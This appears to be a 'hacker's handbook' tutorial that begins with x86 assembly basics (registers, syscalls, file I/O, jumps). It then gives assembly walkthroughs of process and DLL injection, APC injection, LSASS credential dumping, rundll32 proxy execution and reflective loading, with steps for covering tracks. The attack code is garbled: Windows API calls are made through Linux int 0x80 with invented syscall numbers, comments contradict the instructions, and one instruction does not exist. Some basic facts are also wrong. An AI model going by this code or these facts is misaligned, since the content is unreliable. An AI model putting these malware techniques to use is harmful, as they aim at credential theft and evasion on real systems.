Assembly for Hackers

"Assembly Unleashed: A Hacker's Handbook" is a definitive resource tailored specifically for hackers and security researchers seeking to master the art of assembly programming language. Authored by seasoned practitioners in the field, this book offers a comprehensive journey into the depths of assembly, unraveling its complexities and exposing its potential for exploitation and defense. Through a blend of practical examples, hands-on exercises, and real-world case studies, "Assembly Unleashed" equips readers with the essential skills and insights needed to dissect binaries, uncover vulnerabilities, and craft powerful exploits. Whether unraveling the intricacies of buffer overflows or reverse engineering malware, this indispensable guide empowers hackers and security enthusiasts to navigate the digital realm with precision and ingenuity.

top CPU registers and specific pattern attacks in assembly, including their IDs, CPU registers, and registry details:

This table summarizes the top CPU registers, their details, and common patterns of use in attack assembly code. Each pattern illustrates a basic usage of the respective register in the context of an attack.

Syntax

An assembly program typically consists of three main sections:

1. Data Section (section .data):

   • Used for declaring initialized data or constants.

   • Data declared here doesn't change at runtime.

2. BSS Section (section .bss):

   • Used for declaring variables.

3. Text Section (section .text):

   • Contains the actual code.

   • Must begin with global _start, indicating the program's entry point.

Comments

• Start with a semicolon ;.

• Can be on a line by itself or inline with an instruction.

Assembly Language Statements

• Consist of three types of statements:

  1. Executable Instructions or Instructions:

     • Tell the processor what to do.

     • Each instruction has an operation code (opcode).

  2. Assembler Directives or Pseudo-Ops:

     • Tell the assembler about various aspects of the assembly process.

     • Non-executable; don't generate machine language instructions.

  3. Macros:

     • Text substitution mechanism.

Syntax of Assembly Language Statements

Each statement follows this format:

[label] mnemonic [operands] ;comment

• Fields in square brackets are optional.

• Example statements:

INC COUNT        ; Increment memory variable COUNT
MOV TOTAL, 48    ; Transfer the value 48 to memory variable TOTAL
ADD AH, BH       ; Add BH content into AH
AND MASK1, 128   ; Perform AND operation on MASK1 and 128
ADD MARKS, 10    ; Add 10 to variable MARKS
MOV AL, 10       ; Transfer the value 10 to AL register

Example: Hello World Program in Assembly

section .text
   global _start     ; Must be declared for linker (ld)

_start:             ; Tells linker entry point
   mov edx, len     ; Message length
   mov ecx, msg     ; Message to write
   mov ebx, 1       ; File descriptor (stdout)
   mov eax, 4       ; System call number (sys_write)
   int 0x80         ; Call kernel

   mov eax, 1       ; System call number (sys_exit)
   int 0x80         ; Call kernel

section .data
msg db 'Hello, world!', 0xa  ; String to be printed
len equ $ - msg             ; Length of the string

Compiling and Linking

1. Save the code in a file named hello.asm.

2. Navigate to the directory containing hello.asm.

3. Compile the program using nasm -f elf hello.asm.

4. Link the object file using ld -m elf_i386 -s -o hello hello.o.

5. Execute the program with ./hello.

Sections

Data Section:

section .data

BSS Section:

section .bss

Text Section:

section .text
global _start
_start:

Comments:

; This program displays a message on screen

Assembly Language Statements:

INC COUNT        ; Increment the memory variable COUNT
MOV TOTAL, 48    ; Transfer the value 48 in the memory variable TOTAL
ADD AH, BH       ; Add the content of the BH register into the AH register
AND MASK1, 128   ; Perform AND operation on the variable MASK1 and 128
ADD MARKS, 10    ; Add 10 to the variable MARKS
MOV AL, 10       ; Transfer the value 10 to the AL register

Hello World Program in Assembly:

section .text
global _start

_start:
    mov edx,len     ; message length
    mov ecx,msg     ; message to write
    mov ebx,1       ; file descriptor (stdout)
    mov eax,4       ; system call number (sys_write)
    int 0x80        ; call kernel

    mov eax,1       ; system call number (sys_exit)
    int 0x80        ; call kernel

section .data
msg db 'Hello, world!', 0xa  ; string to be printed
len equ $ - msg     ; length of the string

Compilation and Linking:

# Assemble the program
nasm -f elf hello.asm

# Link the object file
ld -m elf_i386 -s -o hello hello.o

# Execute the program
./hello

Segment and Section Equivalence:

segment .text    ; code segment
segment .data    ; data segment

Memory Segments:

; Data Segment
section .data      ; data segment
section .bss       ; buffer memory

; Code Segment
section .text      ; code segment

Processor Registers:

; General Registers
EAX, EBX, ECX, EDX  ; 32-bit data registers
AX, BX, CX, DX      ; 16-bit data registers
AH, AL, BH, BL, CH, CL, DH, DL  ; 8-bit data registers

; Pointer Registers
EIP, ESP, EBP       ; 32-bit pointer registers
IP, SP, BP          ; 16-bit pointer registers

; Index Registers
ESI, EDI            ; 32-bit index registers
SI, DI              ; 16-bit index registers

Control Registers:

; Flags Register
OF, DF, IF, TF, SF, ZF, AF, PF, CF   ; common flag bits

; Segment Registers
CS, DS, SS, ES, FS, GS  ; code, data, and stack segment registers

Example Program:

section .text
global _start

_start:
   ; Display message
   mov edx, len     ; message length
   mov ecx, msg     ; message to write
   mov ebx, 1       ; file descriptor (stdout)
   mov eax, 4       ; system call number (sys_write)
   int 0x80         ; call kernel

   ; Display stars
   mov edx, 9       ; message length
   mov ecx, stars   ; message to write
   mov ebx, 1       ; file descriptor (stdout)
   mov eax, 4       ; system call number (sys_write)
   int 0x80         ; call kernel

   ; Exit
   mov eax, 1       ; system call number (sys_exit)
   int 0x80         ; call kernel

section .data
msg db 'Displaying 9 stars', 0xa  ; message
len equ $ - msg                   ; length of message
stars times 9 db '*'              ; 9 stars

Understanding Memory Segments:

; Memory Segments
Code Segment: .text
Data Segment: .data, .bss
Stack Segment: (Implicit)

Understanding Processor Registers:

; General Registers
EAX: Accumulator
EBX: Base
ECX: Counter
EDX: Data
ESP: Stack Pointer
EBP: Base Pointer

; Control Registers
EIP: Instruction Pointer
EFLAGS: Flags Register

; Segment Registers
CS: Code Segment
DS: Data Segment
SS: Stack Segment
ES: Extra Segment
FS: Extra Segment
GS: Extra Segment

Executing the Example Program:

# Compile and link the program
nasm -f elf example.asm
ld -m elf_i386 -s -o example example.o

# Execute the program
./example

Processor Registers

• Purpose: Internal memory storage locations in the processor.

• Types:

  1. General Registers:

     • Used for arithmetic, logical, and other operations.

     • EAX, EBX, ECX, EDX (32-bit).

     • AX, BX, CX, DX (16-bit).

     • AH, AL, BH, BL, CH, CL, DH, DL (8-bit).

  2. Pointer Registers:

     • EIP, ESP, EBP (32-bit).

     • IP, SP, BP (16-bit).

  3. Index Registers:

     • ESI, EDI (32-bit).

     • SI, DI (16-bit).

• Control Registers:

  • Include instruction pointer register (IP) and flags register.

  • Flags register contains various status flags.

  • Common flags: OF, DF, IF, TF, SF, ZF, AF, PF, CF.

• Segment Registers:

  • CS (Code Segment), DS (Data Segment), SS (Stack Segment).

  • Additional: ES (Extra Segment), FS, GS.

  • Segment registers store starting addresses of segments.

section .text
   global _start

_start:
   ; Write a message
   mov  edx, len
   mov  ecx, msg
   mov  ebx, 1
   mov  eax, 4
   int  0x80

   ; Display 9 stars
   mov  edx, 9
   mov  ecx, s2
   mov  ebx, 1
   mov  eax, 4
   int  0x80

   ; Exit program
   mov  eax, 1
   int  0x80

section .data
msg db 'Displaying 9 stars', 0xa
len equ $ - msg
s2  times 9 db '*'

This code snippet displays a message and 9 stars using assembly language, demonstrating the use of various processor registers.

System Calls

• Steps to Use:

  1. Put the system call number in the EAX register.

  2. Store arguments in EBX, ECX, etc.

  3. Call interrupt int 80h.

  4. Result usually returned in EAX.

• Common System Calls:

%eax  Name           %ebx           %ecx         %edx
1     sys_exit       int            -            -
2     sys_fork       struct pt_regs -            -
3     sys_read       unsigned int   char *       size_t
4     sys_write      unsigned int   const char * size_t
5     sys_open       const char *   int          int
6     sys_close      unsigned int   -            -
8     sys_creat      const char *   int          -
19    sys_lseek      unsigned int   off_t        unsigned int

Strings

• Strings can be stored with an explicit length or using a sentinel character.

• Explicit length: Use $ location counter symbol (len equ $ - msg).

• Sentinel character: Append a special character (e.g., 0) at the end of the string.

String Instructions

• String instructions operate on strings in memory.

• Use ESI and EDI registers for source and destination operands.

• For 32-bit segments: ESI and EDI.

• For 16-bit segments: SI and DI.

• Basic string instructions:

  • MOVS: Moves data from one memory location to another.

  • LODS: Loads data from memory into a register.

  • STOS: Stores data from a register into memory.

  • CMPS: Compares two data items in memory.

  • SCAS: Compares a register with a memory item.

• Operands can be bytes, words, or doublewords.

• Corresponding byte, word, and doubleword operations for each instruction.

• Direction Flag (DF) determines the direction of the operation:

  • CLD: Clears DF, making the operation left to right.

  • STD: Sets DF, making the operation right to left.

Repetition Prefixes

• Prefixes like REP, REPE, REPZ, REPNE, and REPNZ repeat string instructions.

• REP: Unconditional repeat until CX is zero.

• REPE or REPZ: Conditional repeat while the zero flag indicates equality.

• REPNE or REPNZ: Conditional repeat while the zero flag indicates inequality.

section .data
msg db 'Hello, world!',0     ; String with sentinel character
len equ $ - msg               ; Explicit length calculation

section .text
_start:
    mov esi, msg              ; Source pointer
    mov edi, destination      ; Destination pointer
    mov ecx, len              ; Length of string

    cld                       ; Clear direction flag (left to right)
    rep movsb                 ; Move string byte-by-byte

    ; Other instructions...

Numbers

• Decimal numbers represented as ASCII characters.

• Numbers stored as a string of ASCII characters.

• Use ASCII adjust instructions for arithmetic operations.

  • AAA: ASCII Adjust After Addition

  • AAS: ASCII Adjust After Subtraction

  • AAM: ASCII Adjust After Multiplication

  • AAD: ASCII Adjust Before Division

BCD Representation

• Two types:

  • Unpacked BCD: Each byte stores binary equivalent of a decimal digit.

  • Packed BCD: Two digits packed into a byte, each digit using four bits.

• Use adjust instructions for arithmetic operations.

  • DAA: Decimal Adjust After Addition (Packed BCD)

  • DAS: Decimal Adjust After Subtraction (Packed BCD)

Instructions:

• AAA, AAS, AAM, AAD: Adjust instructions for ASCII arithmetic.

• DAA, DAS: Adjust instructions for packed BCD arithmetic.

• MOVS, LODS, STOS, CMPS, SCAS: String instructions for manipulating ASCII data.

• REP Prefix: Repeats string instructions based on CX register value.

; ASCII arithmetic
mov al, '9'       ; Load ASCII '9'
sub al, '3'       ; Subtract ASCII '3'
aas               ; ASCII Adjust After Subtraction
or al, 30h        ; Convert to ASCII
mov [result], al  ; Store result

; Packed BCD arithmetic
mov al, [num1]    ; Load packed BCD digit
adc al, [num2]    ; Add packed BCD digit
daa               ; Decimal Adjust After Addition
pushf             ; Save flags
or al, 30h        ; Convert to ASCII
popf              ; Restore flags
mov [sum], al     ; Store result

; String manipulation
mov esi, source   ; Point to source string
mov edi, dest     ; Point to destination string
mov ecx, length   ; Number of characters
rep movsb         ; Move string byte-by-byte

Conditions

• Unconditional Jump: Transfers control to a specified label.

  • Syntax: JMP label

• Conditional Jump: Transfers control based on a specified condition.

  • Syntax: J<condition> label

  • Example: JE label (Jump Equal)

CMP Instruction

• Compares two operands without altering them.

  • Syntax: CMP destination, source

  • Used in conditional execution for decision making.

Conditional Jump Instructions (Signed Data)

• JE/JZ: Jump Equal or Jump Zero (ZF flag)

• JNE/JNZ: Jump Not Equal or Jump Not Zero (ZF flag)

• JG/JNLE: Jump Greater or Jump Not Less/Equal (OF, SF, ZF flags)

• JGE/JNL: Jump Greater/Equal or Jump Not Less (OF, SF flags)

• JL/JNGE: Jump Less or Jump Not Greater/Equal (OF, SF flags)

• JLE/JNG: Jump Less/Equal or Jump Not Greater (OF, SF, ZF flags)

Conditional Jump Instructions (Unsigned Data)

• JE/JZ: Jump Equal or Jump Zero (ZF flag)

• JNE/JNZ: Jump Not Equal or Jump Not Zero (ZF flag)

• JA/JNBE: Jump Above or Jump Not Below/Equal (CF, ZF flags)

• JAE/JNB: Jump Above/Equal or Jump Not Below (CF flag)

• JB/JNAE: Jump Below or Jump Not Above/Equal (CF flag)

• JBE/JNA: Jump Below/Equal or Jump Not Above (AF, CF flags)

Special Conditional Jump Instructions

• JXCZ: Jump if CX is Zero (no flags tested)

• JC: Jump If Carry (CF flag)

• JNC: Jump If No Carry (CF flag)

• JO: Jump If Overflow (OF flag)

• JNO: Jump If No Overflow (OF flag)

• JP/JPE: Jump Parity or Jump Parity Even (PF flag)

• JNP/JPO: Jump No Parity or Jump Parity Odd (PF flag)

• JS: Jump Sign (negative value, SF flag)

• JNS: Jump No Sign (positive value, SF flag)

CMP AL, BL         ; Compare AL and BL
JE EQUAL_LABEL     ; Jump if Equal to label
CMP AL, BH         ; Compare AL and BH
JE EQUAL_LABEL     ; Jump if Equal to label
CMP AL, CL         ; Compare AL and CL
JE EQUAL_LABEL     ; Jump if Equal to label
NON_EQUAL: ...     ; Continue execution here if not equal
EQUAL_LABEL: ...   ; Execution continues here if equal

Addressing Modes

• Register Addressing

  • Operand resides within a register.

  • Example: MOV DX, TAX_RATE

• Immediate Addressing

  • Operand is a constant value or expression.

  • Example: MOV AX, 45H

• Memory Addressing

  • Operand resides in main memory.

  • Direct memory addressing involves accessing data directly from memory.

  • Example: ADD BYTE_VALUE, DL

• Direct-Offset Addressing

  • Modify an address using arithmetic operators.

  • Example: MOV CL, BYTE_TABLE[2]

• Indirect Memory Addressing

  • Utilizes Segment

    addressing.

  • Base registers (EBX, EBP) or index registers (DI, SI) are used within square brackets for memory references.

MY_TABLE TIMES 10 DW 0
MOV EBX, [MY_TABLE]
MOV [EBX], 110

MOV Instruction

• Syntax: MOV destination, source

• Forms:

  • MOV register, register

  • MOV register, immediate

  • MOV memory, immediate

  • MOV register, memory

  • MOV memory, register

• Type specifiers specify the size of data being moved (e.g., BYTE, WORD).

MOV EDX, 9
MOV ECX, name
MOV [name], dword 'Nuha'

File Handling

• File Streams:

  • Standard input (stdin), standard output (stdout), and standard error (stderr).

• File Descriptor:

  • Assigned as a 16-bit integer.

  • 0, 1, and 2 for stdin, stdout, and stderr respectively.

• File Pointer:

  • Specifies location for read/write operations.

  • Each open file has an associated file pointer.

• File Handling System Calls:

  • Creating, opening, reading, writing, closing, and updating files.

section .text
  global _start

_start:
  ; create the file
  mov  eax, 8
  mov  ebx, file_name
  mov  ecx, 0777
  int  0x80
  mov [fd_out], eax

  ; write into the file
  mov  edx, len
  mov  ecx, msg
  mov  ebx, [fd_out]
  mov  eax, 4
  int  0x80

  ; close the file
  mov  eax, 6
  mov  ebx, [fd_out]
  int  0x80

  ; exit
  mov  eax, 1
  xor  ebx, ebx
  int  0x80

section .data
  file_name db 'myfile.txt'
  msg db 'Welcome to Tutorials Point'
  len equ  $-msg

section .bss
  fd_out resb 1

This code creates a file named myfile.txt, writes a message into it, and then closes the file.

Example: Reading from a File

section .text
  global _start

_start:
  ; open the file for reading
  mov  eax, 5
  mov  ebx, file_name
  mov  ecx, 0
  mov  edx, 0777
  int  0x80
  mov  [fd_in], eax

  ; read from file
  mov  eax, 3
  mov  ebx, [fd_in]
  mov  ecx, info
  mov  edx, 26
  int  0x80

  ; close the file
  mov  eax, 6
  mov  ebx, [fd_in]
  int  0x80

  ; exit
  mov  eax, 1
  xor  ebx, ebx
  int  0x80

section .data
  file_name db 'myfile.txt'
  info resb 26

section .bss
  fd_in resb 1

This code opens the file myfile.txt for reading, reads data from it, and then closes the file.

Stack and Memory

1. Registers:

   • EAX: stores function return values

   • EBX: base pointer to the data section

   • ECX: counter for string and loop operations

   • EDX: I/O pointer

   • ESI: source pointer for string operations

   • EDI: destination pointer for string operations

   • ESP: stack pointer

   • EBP: stack frame base pointer

   • EIP: instruction pointer

2. Instructions:

   • NOP: no operation

   • MOV: move data between registers or memory

   • PUSH: push a value onto the stack

   • POP: pop a value from the stack

   • CALL: call a procedure

   • RET: return from a procedure

3. Flags:

   • ZF (Zero Flag): set if result of an operation is zero

   • SF (Sign Flag): set equal to the sign bit of a signed integer

Stack and Memory

1. Stack:

   • LIFO (Last-In-First-Out) data structure

   • Divided into stack frames

   • Managed by base pointer (EBP) and stack pointer (ESP)

2. Memory Sections:

   • Data: initialized data or constants

   • BSS: uninitialized data or variables

   • Text: code section

Tools for Analysis

1. objdump:

   • Disassembles binary files

   • Analyzes metadata and reports

2. file:

   • Determines file type

3. strings:

   • Scans file for human-readable strings

4. hexdump:

   • Displays hexadecimal dump output

5. GDB (GNU Debugger):

   • Debugging tool for examining assembly code

   • PEDA extension for enhanced functionality

section .data
section .bss
section .text
  global _start

_start:
  mov eax, 100   ; move 100 into EAX register

exit:
  mov eax, 1     ; sys_exit system call
  mov ebx, 0     ; exit code 0 (successful execution)
  int 0x80       ; call sys_exit

Code Injection Attack

In a code injection attack, malicious code is injected into a legitimate process, often with the intention of taking control of the program's execution flow or compromising the system. Let's break down the provided assembly code in the context of a code injection attack.

loc_402086:
cmp [eax], esi      ; Compare the values at memory address pointed by EAX with ESI
jz short loc_4020FC ; Jump if zero to loc_4020FC

loc_4020FC:
push 40h            ; Push 40h onto the stack
XOP eax, eax        ; Perform some operation (XOP) on the value in EAX and store the result in EAX
pop ecx             ; Pop the value from the stack into ECX
mov edi, offset unk_4088A0 ; Move the address of unk_4088A0 into EDI
rep stosd           ; Store double word (DWORD) at the address in EDI with the value in EAX, repeat ECX times
lea esi, [edx+edx*2] ; Load the effective address (lea) of [edx+edx*2] into ESI (ESI = EDX + 2*EDX)
mov [ebp+var_4], ebx ; Move the value in EBX to the memory location [ebp+var_4]
shl esi, 4          ; Shift left (shl) the value in ESI by 4 bits
stosb               ; Store byte (1 byte) from AL into the address in EDI, increment EDI
lea ebx, aJ[esi]    ; Load the effective address (lea) of aJ[esi] into EBX
add eax, 38h        ; Add 38h to the value in EAX
cmp edx, offset unk_486298 ; Compare the value in EDX with the address of unk_486298
jnz short loc_402086 ; Jump if not zero to loc_402086

Analysis:

1. Memory Comparison (cmp): The code compares the values stored at the memory address pointed to by register EAX with the value in register ESI. This could be part of a process to identify a specific memory location or data structure.

2. Conditional Jump (jz): If the comparison results in equality, the code jumps to the loc_4020FC label. This suggests a branching condition based on the comparison result.

3. Stack Manipulation (push, pop): The code pushes and pops values onto and from the stack, respectively. This could be used to manage function calls or store temporary data.

4. Data Movement (mov): It moves data from one location to another, specifically moving the address of a variable (unk_4088A0) into the EDI register.

5. Memory Operation (rep stosd): This instruction repeats storing double words (DWORDs) from EAX into the memory location pointed to by EDI, controlled by the value in ECX. This could be used for bulk memory writing, potentially overwriting critical system data or injecting malicious code.

6. Arithmetic Operation (shl, add): Shifts the value in ESI left by 4 bits and adds 38h to the value in EAX. These operations could be part of calculating memory addresses or manipulating data.

7. Conditional Jump (jnz): If the comparison between the value in EDX and the address of unk_486298 results in non-zero, the code jumps back to loc_402086. This suggests a loop or repetition in the code execution flow.

DLL Injection

DLL (Dynamic Link Library) injection is another common technique used by malware to execute malicious code within the context of a legitimate process. This method involves injecting a malicious DLL into the address space of a target process, allowing the malware to leverage the privileges and resources of that process. Here's how a DLL injection attack can be implemented in assembly language:

1. Finding a Target Process: Similar to APC injection, the malware needs to identify a suitable target process where it can inject the malicious DLL. This might involve enumerating running processes and selecting one that meets the attacker's criteria.

2. Loading the Malicious DLL: The malware loads its malicious DLL into its own address space. This DLL contains the malicious code that the malware wants to inject into the target process.

3. Allocating Memory in the Target Process: The malware allocates memory within the target process to store the path to the malicious DLL. This memory will be used to pass the DLL path to the target process.

4. Writing the Path to the Malicious DLL into the Target Process: The malware writes the path to the malicious DLL into the allocated memory within the target process. This path will be used by the target process to load the malicious DLL.

5. Injecting the DLL into the Target Process: Finally, the malware triggers the target process to load the malicious DLL into its address space, effectively injecting the malicious code into the target process. Below is an example of how this might be done in assembly:

section .text
global _start

_start:
    ; Open handle to target process
    mov eax, 0x3E ; OpenProcess syscall number
    xor ebx, ebx ; dwDesiredAccess (0x1F0FFF)
    mov ecx, ebx ; bInheritHandle (FALSE)
    mov edx, [pid] ; dwProcessId
    int 0x80 ; Call kernel

    ; Allocate memory in target process for DLL path
    mov eax, 0x5A ; VirtualAllocEx syscall number
    mov ebx, eax ; hProcess
    xor ecx, ecx ; lpAddress (NULL)
    mov edx, 0x100 ; dwSize (size of buffer)
    mov esi, 0x40 ; flAllocationType (MEM_RESERVE | MEM_COMMIT)
    mov edi, 0x04 ; flProtect (PAGE_READWRITE)
    int 0x80 ; Call kernel
    mov ebp, eax ; Save address of allocated memory

    ; Write path to malicious DLL into allocated memory
    mov eax, [dll_path] ; Address of DLL path
    mov ebx, eax ; lpBuffer
    mov ecx, ebp ; lpBaseAddress (allocated memory)
    mov edx, 0x100 ; nSize (size of buffer)
    mov esi, 0 ; lpNumberOfBytesWritten
    int 0x80 ; Call kernel

    ; Load library (DLL) into target process
    mov eax, 0x2B ; LoadLibraryA syscall number
    mov ebx, ebp ; lpFileName (address of DLL path)
    int 0x80 ; Call kernel

    ; Close handle to target process
    mov eax, 0x03 ; CloseHandle syscall number
    mov ebx, [pid] ; hObject (handle to process)
    int 0x80 ; Call kernel

section .data
    pid dd 1234 ; Process ID of target process
    dll_path db '/path/to/malicious.dll', 0

6. Covering Tracks and Evading Detection: After injecting the DLL, the malware may take steps to cover its tracks, such as restoring altered data structures or manipulating system logs to hide its presence.

7. Further Actions: Once the malicious DLL is successfully injected into the target process, the malware can proceed with its intended malicious activities, such as stealing data, logging keystrokes, or establishing persistence mechanisms.

APC Injection

APC (Asynchronous Procedure Call) injection attack is a method used by malware to execute malicious code within the address space of another process. This technique is often employed by advanced attackers to evade detection and gain elevated privileges on a system. Let's break down how such an attack can be implemented in assembly language.

1. Finding a Target Process: Before injecting code into a target process, the malware needs to identify a suitable process. This might involve scanning through running processes to find a vulnerable one.

2. Allocating Memory in the Target Process: Once a target process is identified, the malware allocates memory within that process to store its malicious code. This can be achieved using functions like VirtualAllocEx in Windows or mmap in Unix-based systems.

3. Writing Malicious Code: The malware crafts its malicious code, typically in assembly language, to perform the desired malicious actions. This could include stealing sensitive information, downloading additional payloads, or establishing persistence mechanisms.

4. Injecting Code Using APC: The malware uses APC injection to execute its malicious code within the context of the target process. This involves queuing a user-defined function to be executed asynchronously in the address space of the target process. Below is an example of how this might be done in assembly:

section .text
global _start

_start:
    ; Open handle to target process
    mov eax, 0x3E ; OpenProcess syscall number
    xor ebx, ebx ; dwDesiredAccess (0x0F0000 | 0x00100000 | 0xFFF) = PROCESS_ALL_ACCESS
    mov ecx, ebx ; bInheritHandle (FALSE)
    mov edx, [pid] ; dwProcessId
    int 0x80 ; Call kernel

    ; Allocate memory in target process
    mov eax, 0x5A ; VirtualAllocEx syscall number
    mov ebx, eax ; hProcess
    xor ecx, ecx ; lpAddress (NULL)
    mov edx, 0x1000 ; dwSize (size of buffer)
    mov esi, 0x40 ; flAllocationType (MEM_RESERVE | MEM_COMMIT)
    mov edi, 0x04 ; flProtect (PAGE_READWRITE)
    int 0x80 ; Call kernel

    ; Write malicious code to allocated memory
    mov eax, [buffer] ; Address of malicious code
    mov ebx, eax ; lpBuffer
    mov ecx, [ebp - 0x10] ; Address of allocated memory
    mov edx, 0x100 ; nSize (size of buffer)
    mov esi, 0 ; lpNumberOfBytesWritten
    int 0x80 ; Call kernel

    ; Queue APC to execute malicious code
    mov eax, 0x37 ; NtQueueApcThread syscall number
    mov ebx, [ebp - 0x10] ; hThread
    mov ecx, [ebp - 0x0C] ; pApcRoutine (address of malicious code)
    xor edx, edx ; pApcContext (NULL)
    int 0x80 ; Call kernel

    ; Close handle to target process
    mov eax, 0x03 ; CloseHandle syscall number
    mov ebx, [pid] ; hObject (handle to process)
    int 0x80 ; Call kernel

section .data
    pid dd 1234 ; Process ID of target process
    buffer db 'malicious code here', 0

5. Covering Tracks and Evading Detection: After injecting the malicious code, the malware may take steps to cover its tracks, such as restoring altered data structures or manipulating system logs to hide its presence.

6. Further Actions: Once the malicious code is successfully injected and executed, the malware may proceed with its intended malicious activities, such as exfiltrating data or establishing backdoor access to the compromised system.

Valid Accounts

Valid Accounts: Local Accounts is a category of attack techniques that involve leveraging legitimate credentials or exploiting vulnerabilities associated with local accounts on a system. These attacks can be particularly challenging to detect because they involve the abuse of legitimate access privileges. Here's how such an attack might be implemented in assembly language:

1. Enumerating Local Accounts: Before attempting to exploit local accounts, the malware may enumerate existing local accounts on the system to identify potential targets. This can be achieved by querying the Security Account Manager (SAM) database or other system resources.

2. Brute Force or Password Guessing: If the malware does not have access to valid credentials, it may attempt to brute force local account passwords or guess weak passwords. This involves systematically trying different combinations of characters until the correct password is found.

3. Credential Dumping: Alternatively, the malware may employ techniques to dump credentials stored on the system, such as those stored in the Local Security Authority Subsystem Service (LSASS) process memory. This can be achieved using techniques like Process Injection or Memory Scraping.

4. Authentication Bypass: In some cases, the malware may exploit vulnerabilities in the authentication mechanism of the operating system to bypass authentication altogether and gain access to local accounts.

5. Privilege Escalation: Once access to a local account is obtained, the malware may attempt to escalate privileges to gain higher levels of access on the system. This could involve exploiting vulnerabilities in the operating system or applications running with elevated privileges.

6. Malicious Code Execution: With access to a local account with sufficient privileges, the malware can execute its malicious code on the system. This code may perform various malicious activities, such as stealing sensitive information, installing additional malware, or establishing persistence mechanisms.

Below is an example of how a simple credential dumping technique might be implemented in assembly language:

section .text
global _start

_start:
    ; Open handle to LSASS process
    mov eax, 0x3E ; OpenProcess syscall number
    xor ebx, ebx ; dwDesiredAccess (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)
    mov ecx, ebx ; bInheritHandle (FALSE)
    mov edx, [lsass_pid] ; dwProcessId
    int 0x80 ; Call kernel
    mov esi, eax ; Save handle to LSASS process

    ; Find address of LSA secrets in LSASS process memory
    mov eax, 0x02 ; GetCurrentProcessId syscall number
    int 0x80 ; Call kernel
    mov ebx, eax ; Save current process ID
    mov eax, 0x00 ; NtQuerySystemInformation syscall number
    mov ecx, 0x10 ; SystemInformationClass (SystemProcessInformation)
    mov edx, 0x1000 ; SystemInformationLength (arbitrary buffer size)
    lea esi, [ebp - 0x100] ; SystemInformation (arbitrary buffer)
    int 0x80 ; Call kernel
    mov esi, [esi + 0x08] ; Move to next process entry
    cmp dword [esi + 0x1C], ebx ; Compare PID with current process ID
    jne _loop ; Jump if not current process
    mov edi, [esi + 0x20] ; PEB address
    mov edi, [edi + 0x0C] ; Ldr address
    mov edi, [edi + 0x14] ; InInitializationOrderModuleList address
    mov edi, [edi] ; First entry in list (ntdll.dll)
    mov edi, [edi] ; Second entry in list (kernel32.dll)
    mov edi, [edi + 0x10] ; DLL base address
    mov edi, [edi + 0x3C] ; e_lfanew (NT header offset)
    add edi, 0x78 ; Offset to DataDirectory[0] (TLS)
    mov edi, [edi + 0x10] ; RVA of callback array
    add edi, eax ; Absolute address of callback array
    mov edi, [edi] ; First entry in TLS callback array
    mov ebp, [edi - 0x04] ; ImageBase (base address of module)
    mov ebp, [ebp + 0x0C] ; RVA of LSA secrets
    add ebp, ebx ; Absolute address of LSA secrets

    ; Dump LSA secrets to file
    mov eax, 0x05 ; CreateFile syscall number
    mov ebx, secret_file ; lpFileName
    mov ecx, 0x80000000 ; dwDesiredAccess (GENERIC_WRITE)
    mov edx, 0x02 ; dwShareMode (FILE_SHARE_WRITE)
    mov esi, 0x03 ; dwCreationDisposition (CREATE_ALWAYS)
    int 0x80 ; Call kernel
    mov edi, eax ; Save handle to output file
    mov eax, 0x03 ; WriteFile syscall number
    mov ebx, edi ; hFile
    mov ecx, ebp ; lpBuffer (address of LSA secrets)
    mov edx, 0x1000 ; nNumberOfBytesToWrite (arbitrary buffer size)
    lea esi, [ebp - 0x100] ; lpNumberOfBytesWritten
    int 0x80 ; Call kernel
    mov eax, 0x06 ; CloseHandle syscall number
    mov ebx, edi ; hObject (handle to output file)
    int 0x80 ; Call kernel

    ; Close handle to LSASS process
    mov eax, 0x03 ; CloseHandle syscall number
    mov ebx, esi ; hObject (handle to LSASS process)
    int 0x80 ; Call kernel

section .data
    lsass_pid dd 1234 ; Process ID of LSASS process
    secret_file db 'lsass_secrets.dat', 0

System Binary Proxy Execution: Rundll32

System Binary Proxy Execution, specifically leveraging the rundll32 utility, is a technique used by malware to execute arbitrary code or load malicious DLLs within the context of a legitimate Windows process. This method is often used to bypass security controls and evade detection. Let's break down how such an attack might be implemented in assembly language:

1. Identifying rundll32 as a Proxy: The malware first identifies rundll32 as a legitimate Windows utility that can be used as a proxy to execute arbitrary code or load DLLs. rundll32 is commonly used to execute functions exported from DLLs.

2. Crafting a Malicious DLL: The malware creates a malicious DLL that contains the code it wants to execute within the context of rundll32. This DLL may include functions that perform various malicious activities, such as stealing sensitive information, downloading additional payloads, or establishing persistence mechanisms.

3. Loading the Malicious DLL Using rundll32: The malware uses the rundll32 utility to load the malicious DLL and execute a specific function within it. This function may be exported by the DLL and designed to perform the malicious activities desired by the attacker.

4. Covering Tracks and Evading Detection: After executing the malicious code using rundll32, the malware may take steps to cover its tracks and evade detection. This could include deleting or modifying logs, altering system configurations, or using anti-analysis techniques to evade detection by security software.

Below is an example of how a simple malicious DLL can be loaded and executed using rundll32:

section .data
    dll_path db 'malicious.dll', 0
    function_name db 'MaliciousFunction', 0

section .text
global _start

_start:
    ; Load malicious DLL using rundll32
    mov eax, 0x04 ; WinExec syscall number
    mov ebx, dll_path ; lpCmdLine
    int 0x80 ; Call kernel

    ; Exit
    mov eax, 0x01 ; ExitProcess syscall number
    xor ebx, ebx ; uExitCode (0)
    int 0x80 ; Call kernel

In this example, the assembly code simply uses the WinExec syscall (syscall number 0x04) to execute rundll32 with the path to the malicious DLL (dll_path) as a command-line argument. The rundll32 utility will then load the specified DLL and execute the function named MaliciousFunction within it.

Reflective code loading

Reflective code loading is a sophisticated technique used by malware to load and execute code directly from memory without relying on traditional methods like file-based execution. This method is particularly effective for evading detection by security software since it doesn't involve writing executable files to disk. Here's how reflective code loading might be implemented in assembly language:

1. Crafting a Reflective DLL: The malware crafts a reflective DLL that contains the malicious code it wants to execute. Reflective DLLs are designed to be self-contained and capable of loading and executing themselves directly from memory.

2. Injecting the Reflective DLL: The malware injects the reflective DLL into the memory space of a legitimate process. This can be achieved using various injection techniques, such as Process Injection or Thread Injection.

3. Resolving Import Address Table (IAT): Once injected, the reflective DLL must resolve its Import Address Table (IAT) to locate and call necessary system functions and APIs. This is typically done by parsing the DLL's headers and manually resolving function addresses.

4. Executing the Reflective DLL: With the IAT resolved, the malware can execute the reflective DLL's entry point, which then loads and executes the malicious code contained within the DLL. This code can perform various malicious activities, such as stealing data, modifying system settings, or downloading additional payloads.

